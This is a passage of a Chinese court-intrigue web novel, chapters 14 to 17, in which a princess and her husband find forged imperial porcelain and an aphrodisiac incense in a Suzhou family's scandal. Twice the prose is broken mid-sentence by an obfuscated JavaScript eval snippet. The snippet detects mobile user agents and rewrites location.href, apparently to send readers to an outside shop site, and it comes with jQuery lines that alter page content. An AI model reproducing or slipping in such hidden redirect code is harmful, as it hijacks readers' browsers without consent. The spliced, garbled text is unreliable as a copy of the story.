姜世训瞟了一眼郇寰,顾不得叫人,亲自捂了苏世杰还在乱吠的嘴,气急败坏地叫人将挣扎不已的苏世杰绑了。 两个小厮对视一眼,不敢动手。 “都是死人啊!苏世杰冲撞公主鸾驾,还不快把他拉下去!” 一顶帽子扣了下来,两个小厮没了顾忌,一人不知从哪里摸出一块布堵住了苏世杰,另一人扭了他的臂膀,就这样将人拖到了门边,地板上出现了一条长长的无尘痕迹。等郇寰放开沈明枳,余光扫了过去,见苏世杰的裸体已经被人胡乱地裹好,这才挪开遮挡了沈明枳大半视线的身体。 “那是什么东西。”郇寰目光落在了地上一片带血的白色碎片上,姜世训接过姜大夫人递过来的帕子,包了那碎片呈了过来。他将沾了血的白色翻了过去,入目的赫然就是繁复的粉彩宝相花纹。 郇寰眸光一凝,“这就是我要找的东西。” 姜世训捧着瓷片的手一抖,扭头望向扶着二夫人的姜大夫人。就在这一犹疑间,郇寰夺步走向门外,一眼也没有看蜷曲在门边的苏世杰,“容我去左厢查看。” 沈明枳没有跟过去。她看见了瓷片上的纹样,一转身扫过满屋子的珍宝,清一水的都是素净淡雅的配色。 “禀大爷,就是这个碎了的瓶子。”小厮小心将瓷片拢到了一起,展示给姜世训和郇寰,姜世训恍惚也明白了一些事情,抬头就见郇寰正盯着花架上的一只胭脂红的观音瓶,瓶中正插着一大束灼灼妖妖的桃花。 姜二公子姜世琛此时已经收拾好了衣冠,被姜家的长辈压着从内间脚步虚浮地走了出来,一对上长兄的眼睛,就羞愧地低下了头,可他听见郇寰在问:“这瓶子也是御赐的贡品吗?” 管家翻烂了手中簿册也找不到这瓶子的来历,偏是一直跟着姜世琛的小厮在威逼下吐露了实情:“这是去岁二爷过生辰,苏家大爷送的贺礼。” 郇寰眼神一戾,余光忽见有什么东西朝自己这里扑了过来,不,是扑向这瓶子,眼疾手快将瓶子捞到了怀里,随即就听“咣啷”一声闷响,姜世琛推倒了花架,整个人也匍匐倒地。 姜世训刚要去扶姜世琛的手攥成了拳头。他不敢捶,就算是捶了也捶不出此刻的痛心疾首,他如履薄冰地窥向郇寰在弹指之间的千百个神色变化。 “冬至!” 冬至耳力极佳,也不知预先蹲在了哪里,应声跳入了门内,接过了郇寰递来的瓶子。 左厢内所有人都被凭空出现的冬至吓了一跳,更让人毛骨悚然的是,郇寰从怀里掏出了一小叠纸,慢条斯理地展开,挑了挑,比到了这盛尽了春风情长的瓶子旁,“果然如此。” 稿纸上的瓶子与托在冬至手中的瓶子,几乎是一模一样。 郇寰将稿纸重新叠好收了起来,看向了面如死灰的姜世训,“姜二公子知情吗?” 姜世训云里雾里,不知事情始末却预感得出其中严重,他看向了已经失魂落魄跪在尘埃里的姜世琛,直如看见了一幅被山精鬼怪掏光心肝脾肺的皮囊,他便知道姜世琛是什么也不会说了。 可姜家上下百余口人。 姜世训期求地望向郇寰,言辞诚恳,只差跪下了,“世琛从小单纯,一门心思只在读书作文,家父偶尔谈起朝野正事,他只闭目塞听不发言论,这种事,他必然不会涉及的,还望郇侯,明鉴容情。” 郇寰注视瓶中、脚下、桌子凳子角压着的开得天真烂漫的桃花,闻不出一缕天地精粹的芬芳,只有还未彻底消散的淫靡与欢情从每片艳丽得陶醉人心的花瓣中渗出。 算了。 “确定是苏家送的?” 姜世训压下姜世琛猛一抬头时的绝望,坚定地回答:“是。” 15. 第十五章 没指望 沈明枳盯着冬至怀中的瓶子看了好几眼,又看了看那桃花枝,总觉得这股艳俗尘下里透着说不出的怪异熟悉。 冬至朝沈明枳一礼:“参见公主。公主认得出这瓶子吗?就是咱们府里摆在大堂的那只,公主您出降那年宫里赐下的。” 沈明枳挑眉,看向郇寰。他的脸色似是比先前还要差了几分,但一见沈明枳,眼角眉梢细微的变化霎时间归于沉寂。 姜府管家亲自挽了袖子,小心开了墙前立柜的重锁,指挥人从中取出了一人怀抱宽的檀木盒,再一一开了铜锁,“郇侯,这些便是了。” 沈明枳随郇寰一并看去,盒子里躺着的果然是与架子上风格迥异的御赐瓷器。张扬华丽,鲜艳夺目,这些瓶瓶罐罐就是天潢贵胄的最佳缩影。 管家翻着簿册:“这只釉里红龙凤纹双贯耳直颈瓶,是天元三十二年初春之际,先帝御赐的宫中之物。这只粉彩山水翔蝠纹瓶是天元三十三年岁末宫宴,懿思太子所赐。这只斗彩花卉六方形三足瓷鼎是……” “主子!是这瓶子!”刚放下怀中瓶的冬至指着那翔蝠纹瓶惊喜道,又连忙展开袖中稿纸呈给郇寰。 果然又是一模一样。 沈明枳大为震撼,震撼之后,一股经年的森寒如同游蛇吐信,慢慢缠绕上了她的腰肢颈项。是赝品也就罢了,仿冒的竟然还是天元年间的旧物。现在已经是升平二十三年了,因为圣上不喜,天元年间的这些旧物不是锁在宫里,就是藏在诸位宰辅的私邸秘阁里,常年不见天日,沈明枳还未出宫前就不曾见过几样,寻常人更是无法想象。 郇寰重折起了手稿收入怀中,抬眼见不仅沈明枳冷肃,屋内所有人——姜世训夫妇、姜二夫人、管家、小厮和被丢在门边的苏世杰,全都毛骨悚然地望着自己。 任谁都看得出此事的严重程度,怕是要命相抵才能勉强够格。他们或许不知其中关键,只以为与双王党争沾上了边就是死路一条;而姜世训,姜家的宗子宗嗣,不曾仕宦却从姜老太爷处深谙宫闱朝廷里的忌讳,经过了先前姜世琛与苏世杰媾和事、堂侄坠楼溺亡事后,再经受了这样几近覆灭的刺激,支撑不住,差点翻倒。 有些事情是瞒不住的,但只要不说,那就能瞒于人心,随着节变岁移,悉知内情之人一个个驾鹤西去,那瞒于人心的旧事便也会随之葬入坟茔。姜家等的就是这样的转机。可现在,旧事重提只在郇寰的一念之间,而置于他心中利益天平两端的东西,直如泰山与鸿毛,根本经不起掂量! 苏世杰已身在悬崖,正高兴地在看姜家的笑话。若非顾忌于此,姜世训几乎又要向郇寰跪下来。 但此时郇寰心中想的,却不是姜家的死活。能有这样的收获,着实令他乍惊乍喜,但惊喜过后,就是运筹帷幄时的紧绷与危险。 这件事容不得他错一点。 一点也不行。 他让胡全德查过,这些手稿最早也是升平年后所绘,而天元年间的器物名录都留存于宫中内务府,前朝之录久久尘封,圣上死令永不再用,能拿到这些名录,在宫里算得上“手眼通天”。 内务府里也净是魏王的人么。 郇寰倒吸一口凉气。 幸好,以后就不是了。 沈明枳的思路也走到了此处,她对上了郇寰的视线,两个人都有种心意相通的错觉。郇寰朝姜世训道:“这些东西得收好了,可不能碎了。” 姜世训苍白着脸点头。 “那便这样吧。”郇寰转身看向了门边的苏世杰,“还得劳烦姜家将苏公子送回家。” 苏世杰一愣,血红的眼里露出了不可置信,但旋即,他眼中流出了痛快得意的笑来。 郇寰厌恶地扫过苏世杰,看向沈明枳:“那我们走吧?” 沈明枳蹙眉。 “毕竟今天的这些事情,是他们的家事。” 屋中众人俱是一怔,眼里全露出了苏世杰那样的不可置信。 沈明枳看向了重又托起瓶子的冬至,郇寰却看向了哭得梨花带雨的姜二夫人,“瓶子郇某就带走了,二夫人应该没有异议吧?” 姜大夫人扶着二夫人起身行礼:“听凭大人处置。” 被堵住嘴的苏世杰翻了一个白眼。 众目睽睽下,郇寰隔着袖子牵起沈明枳的手,抬脚就往门外走去。姜世训软着腿脚跟了出去,一迈过门槛,就见右厢门口呆呆站着姜世琛,而姜世琛木楞楞的眼睛死死盯着冬至怀中的花瓶。 不,他应该是在看花。 姜世训不知那里来的力气,朝右厢吼了一声,立即就有姜家人跑出来把姜世琛拖了回去。 死人的脸也难看不过姜世训的脸色,郇寰扶着沈明枳下楼,临行偏头看了姜世训一眼,“驷不及舌亦驷马难追,郇某说到做到。” 上车前是相敬如宾,上车后便又壁垒分明。郇寰正要琢磨究竟是哪里出了岔子,蓦地看见沈明枳雪白的腕子上出现了一道细细的血痕。他脑中一空,连忙拉起她的手,褪上袖子,就见一柄玳瑁簪正贴着她的小臂,细长的几道浅浅的血痕就是由簪尖与玳瑁边沿划出。 沈明枳这才意识到手上的痕迹,下意识地抽回自己的手,取出了玳瑁簪捏在手中。她一抬眼就看见了郇寰黑沉的眼睛,觉出了自己行为中些微的疏离不妥,便将簪子递到了郇寰仍然虚张着的掌心,“帮我戴上吧。” “好。” 郇寰压下那种异样,拾起簪子,挪得离沈明枳又近了些,方才在摇摇晃晃的车厢里捧住了沈明枳的鬓发,不假思索地将簪子插入了其中。她向来妆扮得很简素,簪子戴在哪里都别有留白的余韵,不过郇寰心思微动,仰了身稍稍打量了几眼,又重新抽出了簪子,“位置不好,我重新来戴。” 鼻尖萦绕着郇寰身上的气息,沈明枳的神思也被郇寰的忽远忽近拉得格外绵长。在只有他们两个人的时候,铺天盖地都是彼此呼吸的时候,她本该想起一些只属于他们两个人的往事;可不知是不是南巡一趟,她在潜意识里有意要去遗忘抑或者他们两个本就没有这么多的往事,沈明枳只想起了与郇寰毫不相干的故太子夫妇。 初见梅问香,她就觉得这个嫂嫂了不得,一颦一笑行止有度,和大姐姐一样都是天姿国色的牡丹花,跟太子长兄站在一起更是人人艳羡的神仙眷侣——就如几个时辰前姜世琛夫妇。不过故太子夫妇之间没有姜世琛与苏世杰这样的腌臜,他们人前举案齐眉、相敬如宾,人后淡漠疏离、楚河汉界,沈明枳苦思良久,大概只能归结于天性不合。 东宫与御花园间有一条互相贯通的小道,包绕小道的就是一片梅花胜境,这便是东宫夫妇成婚之前,她的太子哥顶着朝臣雪片般的弹劾一力修建的梅园。 梅,梅花是也,梅家是也,梅问香是也。 那时候,他们的婚姻也曾是化隆城中的一段佳话。 太子是储君,是未来的新帝,太子的孩子也就是新帝的孩子,是身担宗庙大任的,是肩扛天下大计的。可成婚五年,他们膝下空空。 沈明枳听皇后说过,太子妃曾经气疾严重、伤了身体,于是太子妃主动提出要给东宫娶偏房纳良娣,但谁也想不通,故太子居然那么轴、无论如何也不点头。沈明枳猜,是她的太子哥不想与心上人有隔膜。 可这就是隔膜,永远的隔膜。 纵然佳偶天成,岁月磋磨,最后还是同道殊途了是么?就如同姜世琛夫妇是么?就如同外人眼中的她和郇寰是么? 可他们从未同道,何谈殊途? “好了,很美。” 沈明枳回神,也不去回应郇寰的眼神,只边折起被他翻上去的袖子,边问:“你与姜家有私交?” “以前回京守制途经苏州,蒙受姜老太爷的照拂——我家里的爵位之争,殿下应该听过吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514313|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “略有耳闻吧。” 郇寰逐渐失焦的眼里露出了回忆时的迷惘,“那年我刚好弱冠,正是刑部外放岭南罔乡县的都事,干的活与典史一般无二。我在南边没法回京,秋冬时候的生辰,时近年关,北边京中也没法来人,弱冠之礼便一推再推。其实不办也没什么,我从小也不是规矩性子,也不爱讲礼数,京中也不必来人、不必来信,来人来信就准没好事。” 沈明枳微一皱眉,又听郇寰继续道:“然后果然就没好事。老爷子不行了,给我二叔留了遗书要让我袭他的爵,但我人在岭南,一来没法伺候汤药,二来山长水遥音信断绝,太夫人支身一人带着郇翾、郇旒斗不过侯府一大家子。然后,遗书捏在我二叔手里,其他几房也觊觎爵位已久,郇翾、郇旒一点点大,太夫人没人帮衬,而我成年了是个障碍,他们便买了人来清理我。” “那时候跟着我外放的除了冬至,还有一个人,叫石榴,他就折在了那里,冬至命大,恰巧那天他帮我出去办事,逃过一劫……”郇寰忽觉手背温热,低头一看,原来是沈明枳。他抿去了不言之中无尽苦涩,扬了唇角,反客为主将沈明枳的手握在掌心。 “侯府中人一直没有我的消息,翻了很久也找不到我的行踪,或许是真心希望我已经死了,又或者怕夜长梦多、迟则生变,就改了老爷子的遗嘱,上了奏疏,由我二叔袭爵。我也命大,后来一路北上逃到了苏州,姜老太爷就是这时帮我回京的,不过那时已经是升平十七年了,尘埃落定,要夺爵也不容易,后来发了桃花汛,宫里更没功夫管世家的琐事——” 说到“桃花汛”时,郇寰看向了沈明枳。 东宫太子就死在那个春天,随后太子妃和腹中尚未出生的皇孙一并罹难,当年的长平公主沈明枳就以“太子无后、臣妹守孝”的奏请替故太子守了三年的丧。 这是她的伤心处。 可沈明枳看向郇寰的眼里是难得的清冽,“姜家有求于你。” “是,也不是。”郇寰错开目光,说起了更久远的故事:“还记得方才姜府管家报的么,那只釉里红龙凤纹双贯耳直颈瓶是天元三十二年初春之际,先帝御赐的宫中之物。” 沈明枳应了一声。 “那时候的天元一朝正在新立东宫的纷乱里,初春时先帝就定好了太子三师三少,老太爷姜必文就是先帝定下的太子太傅,所以先帝赐了御用之物。懿思太子在翌年的岁末宫宴赐了蝠纹瓶以示恩宠,遭人眼红。后来东宫辅臣阋墙,互相倾轧,结果没斗过,被排挤出京,老太爷脾气又硬,一气之下辞了工部尚书之职告老还乡。没想到,塞翁失马焉知非福,姜家就躲过了这一劫。” 这些前朝往事沈明枳了解的不多,故太子与梅如故他们也很少提起,她只知道那时候的圣上还是兖王,自圣上十四岁受封兖王年少就藩起,哪怕他平了南海道又定了西北塞,哪怕他战功卓著、一呼百应,他一直只是兖王。 他离储君之位最近的一次,大抵就是天元三十二年初春。 但他的生母韦后是天元朝第二位母仪天下的皇后,在生鲁国长公主时不幸去世,随后先帝又娶了韦氏一女为继后,可圣上在这位姨母手下却没讨到好日子过。懿思太子是继后的儿子,圣上有多记恨继后就有多记恨懿思太子,有多么记恨懿思太子大概就会有多么记恨先帝,自然而然地,懿思太子的辅臣没有好果子吃,天元朝的旧物圣上一个也不想看见。 这就显出那群仿冒之人的“聪明之处”了:天元朝的赐物,朝中老臣家中大多藏有几件,但他们就是死也绝对不敢让这些东西重见天日的,轻易损毁还会招致旁人攻讦,故而仿制这些东西是最安全不过了。 但谁也没想到,人心不足蛇吞象,仿冒天元赐物满足不了他们的胃口,而碰了升平一朝的贡品,那就是自寻死路。 郇寰喟然叹道:“升平一朝,姜家没指望的。” 16. 第十六章 没道理 “楼艺胜是圣上的老师,故而出了一个楼太傅的楼家荣耀绵延;而曾辅佐懿思太子的旧臣或死或流,姜必文也不能例外,死罪可免活罪难逃,哪怕后来他重回化隆,一仆不事二主,没多久又被逼得自请辞官了。” 这便是恩威并施、乾坤独运,是非对错、上天入地只在圣上一人之手。 “说得无情武断些,在本朝,哪怕姜家子弟有经天纬地之才,他家也出不了大官。可要绵延一个庞大的家族,一个曾于储位纷争中站错队、趟错水的家族,□□品、六七品的官位怎么能够?他们最怕的就是,在整个家族最虚弱的时候遭遇不虞之灾。” “所以他们求你的庇护。” 郇寰微微叹息:“他们有恩于我,协恩图报,人之常情。他们也算准了,我把自己的性命前程看得有多重,姜家对我的救命之恩就有几斤几两。当年帮我不过是广撒网,那时我才及冠,丁外艰去官除职,又没了爵位,何日能东山再起我自己都不知道,唯一能入他们眼的,大概只有二甲功名吧……” 说着,车子一颠,郇寰贴着沈明枳的耳廓轻轻一笑:“老话说得对,多行善事总归不错。” 沈明枳下意识地往后一躲,手就这样又从郇寰掌中滑了出来。 郇寰垂睫,看向沈明枳重又缩回袖子的手,就听她说:“漉水那里还没有结案你就越了府界来苏,江南道的巡按御史未必会刁难你,但传到了朝中,化隆有的是纸笔,当心被参。” 郇寰扬唇,抬手撑着车厢壁重新坐直,心知沈明枳在委婉地问花瓶赝品之事,其本意未必是实心关切自己的安危,但这样冷飕飕却压不住温情的话自她口中说出,郇寰就是愿意偏信几分、糊涂几分:“多谢殿下关心,朝中那些人参不倒我的,若我真倒了,江南道的烂摊子就没人收拾了,他们还是有顾忌的。” 沈明枳挑眉不语。就当她以为郇寰打算独吞赝品一事的硕果时,郇寰悠悠开了口:“先是卖田,又是赝品,苏家是魏王党的事情板上钉钉,但赝品一事……”他斟酌了字眼:“牵扯上了天元旧物,太过敏感,贸然抛出恐有遗祸,且苏德惜——” 郇寰沉吟不语,沈明枳岔开话题:“你与苏德惜有旧?” 郇寰挑眉笑道:“是啊,估计我与他唯一的交际,就是那年那首歌谣吧,什么寻花问柳、露宿桥头的,与有荣焉啊。” 听罢,沈明枳偏过头勾唇。 郇寰静看落日霞光勾勒着她的侧脸,慢慢续道:“苏德惜难搞,动了苏家就是下了他的脸面,他不讲虚的,手上又有兵,逼急了,就是件麻烦事。不过要收拾这样手脚不干净的一群人,有的是法子,而白刃刀人,是最次的法子。” 是的,沈明枳也记得从前梅如故说过,杀人是世上最容易的事情,也是最不入流的手段,如何不负名实地杀人于无形,这才是本事。大概像郇寰这样的宦海客,求名求利的同时也在求这种睥睨群雄的心气。 这般直白地和她讲自己的心计,是头一次,沈明枳倒有些不适应郇寰这样的坦诚。但他们赤忱坦白得去衣相对,还是各有保留的。就比如,如果沈明枳真敢问那位赫赫有名的女仵作与郇寰的勾连,若不得连篇的谎话,那就是全线的摊牌,当然也有可能他们两个人清清白白,但沈明枳觉得可能性很小,且出于某种心里,她也不希望得到这样的答案。 南巡一趟能让文武百官高看自己,能让郇寰多说不该和女子探讨的政事,同样也能将她和戒子推入火坑。把柄这个东西,还是多多益善的,尤其是郇寰的、枕边人的、能见腹弱而藏白刃在袖的。 “在想什么?” 沈明枳回神,“今天戒子没来,也不知道去哪玩了。” 郇寰高涨的心情稍稍垂落,他问:“殿下何时启程北上?” “我与戒子先行一步,得等阎阁老他们抵达,然后再做打算吧。” “阎阁老他们何时能到?” “不知,估计刚离了江西瑞州吧,那里的科场舞弊闹得很凶,需要不少时日好好料理。” 说到江西瑞州,郇寰的心情一下子复杂起来。他曾听郇杭统率的亲卫来报,说是钦差暂驻江西道瑞州府暨县时,知县与当地乡绅搜罗了几个年轻书生献给了沈明枳。半夜三更梳洗已毕,沈明枳竟没有立时拒绝,还将那些人招到面前说了会儿话,每人给了点银子才打发出去。 郇寰一念及此,说不清深穴似的心潭又被风漾起了几圈涟漪。“漉水案——也该差不多了,我回去收拾下尾巴……” 沈明枳微一扬眉。郇寰居然打算就此了结?哪怕天元旧物十分敏感,哪怕江南当地盘根错节,哪怕有千千万万个哪怕,为了能给自己的青云之路、赵王的践阼之路扫清障碍,郇寰也不应该会如此“心慈手软”。 “应当来得及在钦差北上前了结,就是不知,殿下有空否,愿陪臣去一个地方转转?” 沈明枳沉吟片刻,“可以,只是要赶在阎阁老他们来之前。” 郇寰扬唇:“好,那臣就回去再加把劲,定然不会爽约的。” 话到此处,沈明枳本该委婉劝解几句“注意身体”之类的废话,郇寰本意也应在此处,话是废话,郇寰未必会听,但话一出口气氛就顺水推舟地到了。可由钦差主使阎野放,沈明枳一路想到了雍王府。在震泽郇寰坏了她的事,又捏了借口邀自己叙话,结果胡府一夜风雨交加,什么也没有说,又好似什么都说了。 她不是个直白的人,做事说话也不直白,如此,她最崇敬向往直白。就如礼义廉耻可以律己而不可绳人,但于“直白”一事,沈明枳最擅“严于律人”。故而她问:“大人当时有话要禀,是有何事?” 郇寰一愣,一时间拐不过弯,心里刚要呐喊,就听驾车的便衣暗卫提醒:“公主,到别院了。” 郇寰如蒙大赦,可他登时起身,心里莫名其妙地竟生出了种功亏一篑的惋惜。 “怎么了?”沈明枳淡淡地抬头问他。 “无事,那臣就此告退。”郇寰偏头微一颔首,推门下车,就见夏至与冬至从后面自己雇的那辆车里下来。他两指一并,扣扣自己的手腕,提醒夏至:“记得给殿下擦药。” 夏至没明白,但还是干脆地应下,朝郇寰主仆二人礼别。 “别看了,看穿了墙也看不见她的。” 冬至赧然,讪讪地收回了目光。 郇寰瞥了他一眼,“怎么?又惹人家生气了?” 见冬至耳尖发红,郇寰笑了两声。 惹冬儿生气冬至是一把好手,惹完了还要费尽心思地去哄,这一番你来我往的别扭,倒让郇寰想起了菁明书院混日子那会儿,听同窗说起的情窦初开的少男三五件糗事。他随着生冷不忌的申不极见过不少世面,豪言自夸自诩是心智健全的成年男人了,于少年男女之间的春心懵懂自然是不屑一顾,全当是看了个乐子。 而今想来,那时的自己未免太过轻狂。 他笑着叹息一声:“惹了就去哄,好好地哄,城门失火是件大事,殃及池鱼就是惨事,嗯?听懂了吧。” 冬至点头如捣蒜,“对了主子,这瓶子很有蹊跷。” 郇寰这才发现车厢角落堆着一捧被冬至薅过的桃枝,冬至撸起袖子伸入瓶内一抹,收手时,食指与中指上就带出了薄薄一层灰,“主子您看。” 郇寰凑近了一闻,眉头一蹙,连忙仰身后退,抬手扇了扇空中那股外虚内实、佯装无害而蛮狠霸道的气味。他不懂医术药理,但心中已猜出了这香灰的底细。 冬至捻去了手上的灰,“我猜这就是一种催情的香,味道和桃花香混在一起,不仔细闻不出来,高妙啊,不过具体是不是得请人验一验。” 这仿佛就解释了苏世杰与姜世琛的那一番旁若无人,姜二夫人脸上的指印和苏世杰的狂吠也有了答案。 可冬至用布堵住了瓶口,抱着瓶子还没想明白:“没道理啊,出嫁从夫,夫妇一体,姜二夫人入的是姜家的族谱,将来入的也是姜家的祖坟,弟弟和她再亲近总也亲不过亲生的骨肉啊。设计自己的夫婿,岂不就是在设计自己儿子的前途?荣辱与共,姜世琛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514314|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢脸了,她丢不丢脸不在乎,可她儿子岂不也丢脸了?” 冬至望向郇寰,“天下难道真有不爱自己孩子的母亲?” 郇寰不说话。 “主子,这也太奇怪了,太没道理了。” “且看吧,有没有道理到时候就知道了——回去后你就去找胡臬台,把瓶子给他,事情一并交给他处理。还有,他手上应该有不少苏家鱼肉乡里的实证,如果没有那就去查,查不出千儿八百件总也有百来八十件。” 冬至问:“主子不打算用赝品一事处置苏家了?” 郇寰斜了他一眼:“苏家有什么好处置的?” 冬至眼睛一亮:“主子是打算借此做筏来对付那位了?也是,天元旧事是圣上的心病,当臣子的敢光明正大地戳主子的心窝,当儿子的敢光明正大地捅老子刀子,这不是自寻死路么,咱们南下一趟总不能白来,不然回去寇家那……” “言多必失。” 冬至立即住口。 “京中事得盯,但也不是什么烂事都要上心。宫里的魏贼由赵王府去揪,你不要多问,瓜田不纳履,李下不正冠,这些事必须要注意。” “可是主子,您放过胡臬台岂不是越俎代庖替王爷做了决断?这件事要是传回了京,王爷未必会多心,那些老臣是几十年的人精,稍稍揣摩就能知道您的苦心,可那寇一爵,他对您可一直是耿耿于怀……” 郇寰阖眼,吐出一口气:“寇一爵不傻。” “正因为他不傻,也是两榜进士,什么才能出众、卓尔不凡的赞誉一大堆,手上过了那么多腌臜却能一点腥臊不沾身,这种人使坏,可比小人恐怖得多,主子您一定要当心啊。” 郇寰抿唇:“这个关头要与我斗、搞内讧,傻子才会这么做。将在外军命有所不受,若事事都要和王府请示,那大概我才是个傻子。更何况,此事你不说我不说、胡全德不说,天知地知,他远在化隆如何会知?” “殿下,京中有信。”暗卫统领季岸叩响了门板。 夏至刚押着沈明枳擦完药,顺势起身走到门边,接过季岸呈上的密札,顺口问道:“十七殿下还没回来吗?” 季岸一礼:“尚未,但窦指挥使有事求见,请姑娘通报。” “好。”夏至应下,刚要回身,就见甲胄在身的阴阳卫指挥使窦宇阔步而来,站到廊下远远观望着这里。 “殿下,窦指挥使求见。” 沈明枳接了密札:“让他进来吧。” 窦宇揖礼并未下跪:“参见公主。” “是端王出事了?” “不是。回殿下,是阎阁老等三日后就可抵达苏州。” 沈明枳讶异地挑眉:“这么快?江西那里事了了吗?” “臣不知。” 沈明枳凝眉。 按照阎野放那一丝不苟的性子,江西那里必然被收拾得妥妥贴贴,而他一把年纪星夜兼程地往北赶,大概是为了已过的春闱、渐近的和亲。升平一朝只有一个首辅,那就是梅如故的父亲梅痴绝,自梅痴绝病逝后,状若无物的内阁人来人往,圣上始终没有拔擢一个新的首辅坐镇。这样一来,次辅阎野放就成了实权的首辅,他要多替圣上担一担这天下四海的重担,情理之中。 只是郇寰那里…… 对于未知,沈明枳总有几分畏惧几分期待。不出意外,她一辈子只能来一回江南,错过了这次就没有下次。她猜不出郇寰要带她去哪里,这便更添了几分求之不得的惋惜。 窦宇恭声退下。 沈明枳扫过密札,挪近了灯盏,点燃信纸,叫来季岸:“劳统领去查一查驸马存在化隆吏部的履历,苏州当地也问一问,据说他当年南下办案很出风头,想来能查出些蛛丝马迹。京里的事情应该不会再有意外吧?” 季岸干脆应下:“殿下放心,这次绝对不会有事。” 这是沈明枳最爱听的一句话,可毕竟那是千里之外的事情,掌控之外总会有数不清的意料之外。她凝望着虚空自言自语念道:“但愿如此。” 17. 第十七章 没想到 四处闲逛的端王沈明戒回到别院时,月上柳枝,云流中天,沈明枳的卧房里有一股淡淡的苦味萦绕不散。 沈明戒还是忍不住皱眉。 虽然在南海道时,沈明枳就汤药不断,北上一路吃的药更是苦不堪言。沈明枳不觉得苦,他沈明戒闻着也习惯了,可吃药的不是他,他却比沈明枳尝出了千万分更深重的苦涩。 “回来了?”沈明枳正靠在竹椅上看着地方志,黑发披散在月白色的缎面上,被橘黄色的灯光一照,氤氲出了一种不同于白日的冷冽。可当她看见了沈明戒,眼中浮出的笑意就如潋滟于白石清潭的日光。冷暖相交,别有一种特别的感觉。 沈明戒隔着花桌郑重一礼:“是,今天戒子去城中四处转了转,发现了几家据说很有名气的食肆,各色点心都打包了一份,想让阿姐尝一尝,只是现在已经入夜,吃了积食,明日再尝吧。” 沈明枳笑着合上书卷,“孙先生让我忌口,什么都忌,你倒是成天用吃喝哄我高兴,让孙先生知道了,估计又要发脾气了。” 孙先生是他们在岭南碰到的一个乡野大夫,是个孤儿,还是个哑巴,救过沈明枳一命,多少年隐避山野,医术却十分超群。本着医者仁心、暗自发誓要攻克沈明枳身上的沉疴重疾,本就对医理痴迷至极的孙先生在沈明枳提出送他去太医院人尽其材时爽快答应。故而,孙先生也跟着沈明枳姐弟先钦差一步北上。 说起孙先生,沈明戒哈哈笑过,提起了城中见闻:“对了阿姐,你今天去的是哪家的席面,姜家的吗?就是天元年间出过太子太傅的那个姜家。” “是,怎么了?” 沈明戒自己搬了凳子坐下,“那阿姐,今天席面上究竟出了什么事情啊?外面都在传,说是苏家老太爷被孙子给气死了。” 沈明枳一愣:“死了?” “是啊,晚间刚刚过身,现在这个点估计都挂白了。” “外面还说什么了吗?” 沈明戒难以启齿:“传什么的都有,有的说苏家那个叫苏世杰的孙子打了他妹夫,还有的说这个苏世杰荤素不忌、在席面上玷污姜家女使的,更有离谱的说苏世杰有龙阳之好,在席面上久久没出现就是和他妹夫苟且的……” 沈明枳心一沉。 今日之事,姜家人不会说,苏家人也不会说,自己和郇寰也没工夫去说,那位陆夫人出于利益的考量,也不会到处喧嚷这件丑事。席上的宾客久久不见苏世杰和姜世琛也就罢了,姜世训是族子宗嗣,有别的贵客要亲自迎接招待而不去主持场面暂且说得过去,可一直前后忙碌的姜家两位当家夫人也一起没了身影,在场的哪一位不会起疑? 胡乱猜测倒歪打正着。但一连两日,城中流言喧腾,这桩丑闻居然在所有人的严防死守下如同插了翅膀飞遍了苏州府。 沈明戒提着各色果点飞奔回来的时候,沈明枳正读着临川郡主的回信。 “阿姐,出大事了。” 沈明枳将信纸折了,戒子连忙放下东西,将妆台边上那盏灯点了挪到沈明枳手边。 “怎么了?” “昨天不是有人在传苏世杰为了方便与姜世琛相好,就撺掇长辈把妹妹嫁给了他,还暗中购置了姜府边上的宅子,在地底下挖了密道,以便与姜世琛在那闹鬼的阁楼里相会么!” 沈明枳借火点了信,“是,怎么了?” 沈明戒敏锐地觉察出沈明枳糟糕的心情,说起这件污糟事更加卖力:“是今天早上,城中有好事的世家子闯了那宅子,果然找到了通往姜府的密道,还在那密道里发现了不少脏污的衣裤……” “官府没拿人吗?” “拿了,但那些人都有出身,轻易得罪不得,一直到现在官府也还没把人放出来,估计是苏家通了关系,让官府将人先押着,以免那些好事之徒四处宣扬。” “人被押到哪里了?” “好像是长洲县,苏家原籍就是长洲县的。” 沈明枳微一沉吟,看见了圆桌上的食盒,岔开话题问道:“什么点心?” 沈明戒连忙将盒子捧来,“茶酪酥、枣泥花糕……哦还听说有家采莲楼的芡实糕味道极佳,只是还没到时候……阿姐放心,这几样我拿给孙先生看过了,孙先生说少吃些没有妨碍的。” 又说到孙先生,沈明戒忙道:“哦对了,我还没说完,城中流言又传出了新花样,说是苏世杰与姜世琛的事情早几年被苏世杰的夫人发现了,这位曹夫人性子刚烈,惹怒了苏世杰,于是在曹夫人生产时苏世杰买通稳婆动了手脚,一尸两命!” 沈明枳刚擦了手要拿起一块茶酪酥,闻言神色一凝。她怎么也没想到,事情居然会严重成这个地步。 